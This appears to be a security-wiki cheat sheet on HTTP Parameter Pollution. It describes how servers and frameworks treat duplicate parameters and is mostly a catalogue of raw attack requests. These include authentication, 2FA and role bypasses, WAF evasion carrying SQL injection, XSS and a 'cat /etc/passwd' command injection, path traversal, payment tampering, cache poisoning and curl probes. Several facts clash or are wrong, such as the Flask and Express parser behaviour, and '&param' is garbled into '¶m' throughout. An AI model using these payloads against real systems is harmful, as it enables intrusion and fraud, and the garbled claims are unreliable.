HTTP Parameter Pollution
Understanding HTTP Parameter Pollution (HPP)
What is HTTP Parameter Pollution?
HTTP Parameter Pollution (HPP) is a vulnerability that occurs when web applications accept and process multiple HTTP parameters with the same name in unexpected ways. Different technologies (web servers, application frameworks, WAFs) may handle duplicate parameters differently, leading to security bypasses, authentication issues, and application logic flaws.
Vulnerable Scenario Example
GET /search?category=books&category=electronics&price=100 HTTP/1.1
Host: example.com
Different Technology Handling:
PHP: Takes the last value →
category=electronics
ASP.NET: Takes the first value →
category=books
Python Flask: Creates an array →
category=['books', 'electronics']
Java Servlet: Takes the first value →
category=books
Node.js: Takes the last value →
category=electronics
How HPP Works
HPP exploits the inconsistent handling of duplicate HTTP parameters across different technologies in the application stack. When multiple components process the same HTTP request differently, attackers can craft requests that bypass security controls or alter application logic.
Parameter Processing Flow
Client Request - Sends HTTP request with duplicate parameters
Load Balancer/WAF - May process parameters one way
Web Server - May process parameters differently
Application Framework - May have different processing logic
Backend Logic - Receives processed parameters
Impact and Consequences
Authentication Bypass - Bypassing login mechanisms
Authorization Bypass - Accessing restricted resources
Input Validation Bypass - Circumventing security filters
Logic Flaw Exploitation - Manipulating business logic
WAF/IDS Evasion - Bypassing security controls
Cache Poisoning - Polluting cache with malicious content
Technology-Specific Parameter Handling
Web Server Behavior
Apache HTTP Server:
Default: Concatenates parameters with
&
Example:
param=value1¶m=value2
→param=value1&value2
mod_rewrite: May behave differently based on configuration
Nginx:
Default: Takes the last parameter value
Example:
param=value1¶m=value2
→param=value2
Can be configured to handle differently
IIS (Internet Information Services):
Default: Concatenates parameters with
,
Example:
param=value1¶m=value2
→param=value1,value2
Application Framework Behavior
PHP:
// URL: /test.php?param=first¶m=second
var_dump($_GET['param']); // Output: "second" (last value)
var_dump($_GET); // Array with last value only
// To get all values, use special syntax:
// URL: /test.php?param[]=first¶m[]=second
var_dump($_GET['param']); // Array: ["first", "second"]
ASP.NET:
// URL: /test.aspx?param=first¶m=second
string value = Request.QueryString["param"]; // "first" (first value)
string[] values = Request.QueryString.GetValues("param"); // ["first", "second"]
Java Servlet:
// URL: /test?param=first¶m=second
String value = request.getParameter("param"); // "first" (first value)
String[] values = request.getParameterValues("param"); // ["first", "second"]
Python Flask:
# URL: /test?param=first¶m=second
from flask import request
value = request.args.get('param') # "first" (first value)
values = request.args.getlist('param') # ["first", "second"]
Node.js (Express):
// URL: /test?param=first¶m=second
// Default behavior depends on query parser
// With default parser:
req.query.param // "second" (last value)
// With extended parser:
req.query.param // ["first", "second"] (array)
Ruby on Rails:
# URL: /test?param=first¶m=second
params[:param] # "second" (last value)
# For arrays: /test?param[]=first¶m[]=second
params[:param] # ["first", "second"]
Basic HPP Attack Techniques
Authentication Bypass
Login Form Parameter Pollution
Basic Authentication Bypass:
POST /login HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=wrong&username=guest&password=guest
Scenario Analysis:
WAF/Security Filter: Sees
username=admin&password=wrong
→ Allows (wrong password)Application Backend: Processes
username=guest&password=guest
→ Authenticates successfully
Advanced Login Bypass:
POST /login HTTP/1.1
Host: vulnerable-app.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=admin&username=admin&password=admin123
Real-World Example:
POST /admin/login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=normaluser&password=normalpass&username=admin&password=admin
Multi-Factor Authentication Bypass
2FA Token Pollution:
POST /verify-2fa HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=victim&token=000000&username=attacker&token=123456
SMS Code Bypass:
POST /verify-sms HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
phone=+1234567890&code=wrong&phone=+1111111111&code=111111
Authorization Bypass
Role-Based Access Control Bypass
Admin Role Escalation:
GET /admin/users?role=user&role=admin HTTP/1.1
Host: example.com
Cookie: session=user_session_token
Permission Override:
POST /api/user/update HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
user_id=1234&permissions=read&user_id=5678&permissions=admin
Resource Access Control Bypass
File Access Control:
GET /download?file=public.txt&file=../../../etc/passwd HTTP/1.1
Host: example.com
Database Record Access:
GET /api/records?id=123&access=user&id=456&access=admin HTTP/1.1
Host: example.com
Input Validation Bypass
WAF/Security Filter Evasion
SQL Injection Filter Bypass:
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
query=legitimate&query=' OR '1'='1
WAF Processing:
First parameter:
query=legitimate
→ Passes validationApplication receives:
query=' OR '1'='1
→ SQL injection executes
XSS Filter Bypass:
GET /search?term=safe&term=<script>alert('XSS')</script> HTTP/1.1
Host: example.com
Command Injection Bypass:
POST /system/command HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
cmd=ping&args=127.0.0.1&cmd=ping&args=127.0.0.1; cat /etc/passwd
Content Security Policy Bypass
CSP Header Manipulation:
GET /api/config?csp=strict&csp=none HTTP/1.1
Host: example.com
CORS Policy Bypass:
GET /api/data?origin=safe.com&origin=evil.com HTTP/1.1
Host: example.com
Advanced HPP Exploitation
Business Logic Manipulation
E-commerce Price Manipulation
Shopping Cart Manipulation:
POST /cart/add HTTP/1.1
Host: shop.example.com
Content-Type: application/x-www-form-urlencoded
item_id=123&price=100&quantity=1&item_id=123&price=1&quantity=1
Discount Code Stacking:
POST /checkout/apply-discount HTTP/1.1
Host: shop.example.com
Content-Type: application/x-www-form-urlencoded
code=SAVE10&code=SAVE20&code=SAVE50
Payment Amount Manipulation:
POST /payment/process HTTP/1.1
Host: shop.example.com
Content-Type: application/x-www-form-urlencoded
amount=100.00¤cy=USD&amount=1.00¤cy=USD
User Profile Manipulation
Email Address Pollution:
POST /profile/update HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
email=user@example.com&email=attacker@evil.com&verified=true
Permission Escalation:
POST /user/permissions HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
user_id=1234&role=user&permissions=read&user_id=1234&role=admin&permissions=write,delete
Cache Poisoning via HPP
Web Cache Deception
Cache Key Manipulation:
GET /api/user/profile?user_id=victim&user_id=attacker HTTP/1.1
Host: example.com
Cache-Control: public, max-age=3600
CDN Cache Poisoning:
GET /assets/script.js?version=1.0&version=malicious HTTP/1.1
Host: cdn.example.com
X-Forwarded-Host: evil.com
Cache Poisoning Attack Chain
Step 1: Poison Cache
GET /api/config?theme=light&theme=<script>alert('XSS')</script> HTTP/1.1
Host: example.com
Step 2: Victim Request
GET /api/config?theme=light HTTP/1.1
Host: example.com
Result: Victim receives cached malicious response
Load Balancer and Reverse Proxy Exploitation
Backend Server Manipulation
Server Selection Bypass:
GET /admin/panel?server=web1&server=admin-internal HTTP/1.1
Host: example.com
Load Balancer Routing:
GET /api/sensitive?region=public®ion=internal HTTP/1.1
Host: example.com
X-Forwarded-For: 192.168.1.100
Request Smuggling via HPP
HTTP Request Smuggling:
POST /search HTTP/1.1
Host: example.com
Content-Length: 100
Transfer-Encoding: chunked
query=safe&query=
0
POST /admin/delete HTTP/1.1
Host: example.com
Content-Length: 0
Framework-Specific HPP Vulnerabilities
PHP Applications
PHP Parameter Processing Quirks
Array vs String Confusion:
// URL: /test.php?param=value1¶m[]=value2
var_dump($_GET['param']);
// Result: "value1" (string overwrites array)
// URL: /test.php?param[]=value1¶m=value2
var_dump($_GET['param']);
// Result: "value2" (string overwrites array)
PHP Session Manipulation:
POST /login.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
PHPSESSID=attacker_session&username=admin&PHPSESSID=victim_session
PHP Configuration Bypass:
GET /upload.php?MAX_FILE_SIZE=1000000&MAX_FILE_SIZE=unlimited HTTP/1.1
Host: example.com
WordPress HPP Vulnerabilities
WordPress Parameter Pollution:
GET /wp-admin/admin.php?page=users&action=delete&action=edit&user_id=1 HTTP/1.1
Host: wordpress-site.com
Cookie: wordpress_logged_in_hash
Plugin Parameter Pollution:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-site.com
Content-Type: application/x-www-form-urlencoded
action=plugin_action&nonce=valid_nonce&action=admin_action&user_id=1
ASP.NET Applications
ViewState Manipulation
ViewState Parameter Pollution:
POST /aspx-page.aspx HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
__VIEWSTATE=legitimate_viewstate&__VIEWSTATE=malicious_viewstate&__EVENTVALIDATION=valid
Control State Manipulation:
POST /secure-page.aspx HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
txtUsername=admin&txtPassword=wrong&txtUsername=user&txtPassword=user123
ASP.NET Core HPP
Model Binding Confusion:
POST /api/users HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Id=123&Name=John&Role=User&Id=456&Name=Admin&Role=Administrator
Route Parameter Pollution:
GET /api/users/123?id=456&id=789 HTTP/1.1
Host: example.com
Java Web Applications
Java Servlet Parameter Handling
Spring Framework HPP:
POST /spring/user/update HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
userId=123&role=user&permissions=read&userId=456&role=admin&permissions=write
Struts Action Parameter Pollution:
POST /struts/UserAction HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
user.id=123&user.role=user&user.id=456&user.role=admin
JSP Parameter Processing
JSP Request Parameter Pollution:
<%
String userId = request.getParameter("userId"); // First value
String[] userIds = request.getParameterValues("userId"); // All values
%>
<!-- URL: /page.jsp?userId=123&userId=456 -->
<!-- userId = "123", userIds = ["123", "456"] -->
Node.js Applications
Express.js Parameter Handling
Query Parser Configuration:
// Different configurations lead to different behaviors
app.use(express.urlencoded({ extended: false })); // qs library
app.use(express.urlencoded({ extended: true })); // querystring library
// URL: /test?param=first¶m=second
// extended: false → param = "second"
// extended: true → param = ["first", "second"]
Custom Middleware Pollution:
app.use((req, res, next) => {
// Vulnerable middleware
if (req.query.admin === 'true') {
req.user.isAdmin = true;
}
next();
});
// Attack: /app?admin=false&admin=true
Fastify Parameter Handling
Fastify Schema Bypass:
// Schema validation
const schema = {
querystring: {
type: 'object',
properties: {
userId: { type: 'string' }
}
}
};
// Attack: /api/user?userId=123&userId[]=malicious
HTTP Method-Specific HPP
GET Parameter Pollution
URL Query String Manipulation
Basic GET HPP:
GET /search?query=safe&category=books&query=<script>alert('XSS')</script> HTTP/1.1
Host: example.com
URL Fragment Pollution:
GET /page#param=value1¶m=value2 HTTP/1.1
Host: example.com
Mixed GET Parameters:
GET /api/data?format=json&callback=safe&format=jsonp&callback=malicious HTTP/1.1
Host: example.com
POST Parameter Pollution
Form Data Manipulation
application/x-www-form-urlencoded:
POST /form-handler HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=user&password=pass&action=login&username=admin&action=delete
multipart/form-data:
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="action"
upload
------WebKitFormBoundary
Content-Disposition: form-data; name="action"
delete_all
------WebKitFormBoundary--
JSON Parameter Pollution
JSON Body Manipulation:
POST /api/user HTTP/1.1
Host: example.com
Content-Type: application/json
{
"userId": 123,
"role": "user",
"userId": 456,
"role": "admin"
}
JSON Array Pollution:
POST /api/users HTTP/1.1
Host: example.com
Content-Type: application/json
{
"users": [
{"id": 123, "role": "user"},
{"id": 123, "role": "admin"}
]
}
HTTP Header Pollution
Custom Header Manipulation
X-Forwarded-For Pollution:
GET /api/geo-location HTTP/1.1
Host: example.com
X-Forwarded-For: 192.168.1.100
X-Forwarded-For: 8.8.8.8
Authorization Header Pollution:
GET /api/secure HTTP/1.1
Host: example.com
Authorization: Bearer invalid_token
Authorization: Bearer valid_token
Custom Application Headers:
GET /api/data HTTP/1.1
Host: example.com
X-User-Role: user
X-User-Role: admin
X-API-Key: public_key
X-API-Key: admin_key
Advanced Attack Scenarios
Multi-Stage HPP Attacks
HPP + CSRF Attack Chain
Stage 1: CSRF Token Bypass
POST /csrf-protected-action HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://evil.com
csrf_token=invalid&action=safe&csrf_token=valid&action=dangerous
Stage 2: Session Fixation
GET /login?session_id=attacker_session&session_id=victim_session HTTP/1.1
Host: example.com
HPP + SQL Injection Chain
WAF Bypass + SQL Injection:
POST /search HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
query=books&category=fiction&query=' UNION SELECT * FROM users--
Parameter Smuggling:
GET /products?id=1&search=safe&id=1' OR '1'='1&search=<script> HTTP/1.1
Host: example.com
Microservices Architecture HPP
Service Mesh Parameter Pollution
Inter-Service Communication:
POST /service-a/api HTTP/1.1
Host: internal-mesh.com
Content-Type: application/x-www-form-urlencoded
service=service-b&action=read&user_id=123&service=admin-service&action=delete&user_id=456
API Gateway Bypass:
GET /api/v1/users?version=1&access=public&version=2&access=internal HTTP/1.1
Host: api-gateway.com
Container Orchestration HPP
Kubernetes Service Discovery:
GET /api/discover?namespace=default&service=web&namespace=kube-system&service=api-server HTTP/1.1
Host: k8s-cluster.com
Docker Swarm Service Routing:
GET /service/route?container=web1&port=80&container=admin&port=22 HTTP/1.1
Host: swarm-manager.com
HPP Detection and Exploitation Tools
Parameter Duplication Testing
Systematic Parameter Testing:
# Test different parameter positions
curl "http://target.com/search?query=safe&query=malicious"
curl "http://target.com/search?query=malicious&query=safe"
# Test mixed parameters
curl "http://target.com/api?param1=value1¶m2=value2¶m1=malicious"
# Test with URL encoding
curl "http://target.com/search?query=safe&query=%3Cscript%3E"
# Test with different HTTP methods
curl -X POST -d "param=safe¶m=malicious" http://target.com/form
Response Analysis:
# Compare responses for parameter variations
curl -s "http://target.com/api?id=1" > response1.txt
curl -s "http://target.com/api?id=1&id=2" > response2.txt
diff response1.txt response2.txt
# Check for error messages
curl "http://target.com/api?param=value¶m=" 2>&1 | grep -i error
# Monitor timing differences
time curl "http://target.com/api?param=normal"
time curl "http://target.com/api?param=normal¶m=slow_query"
Last updated
Was this helpful?